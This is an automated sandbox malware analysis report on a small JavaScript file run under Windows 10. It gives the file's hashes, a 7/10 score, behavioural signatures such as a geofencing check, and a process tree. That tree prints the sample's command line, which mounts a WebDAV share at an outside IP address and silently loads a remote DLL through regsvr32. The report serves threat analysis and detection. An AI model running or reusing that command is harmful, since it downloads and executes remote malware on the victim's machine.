Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 07:19

General

  • Target

    2342622245195579694.js

  • Size

    5KB

  • MD5

    37f6d53f266867eb814bd71c6787fcd0

  • SHA1

    f06d2b8d3ff337fb9bba090e137bb8ab58af6d4c

  • SHA256

    73ad22c18ab85efea53275505a4e2e3b99f1860a998f6e9810a6cb145f01d421

  • SHA512

    d1c2aeca5e47e547fd358ccc9b058b3b2adc7683f8042902ab83bfd41dd81bd00336a20ed41807fafda50be0b531a3cb8f9af5b77f10eae57ddbcecc47b624af

  • SSDEEP

    48:ATblsTZyhFf5RT/K+9sR0HRRjpKsXv5bel9rIhwcHb6qpHy96RrEeZyUGMycKGbt:APZMstW35qcpkYY9Ak0kYY9h

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2342622245195579694.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4420
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\206131358817714.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3964
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:636

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads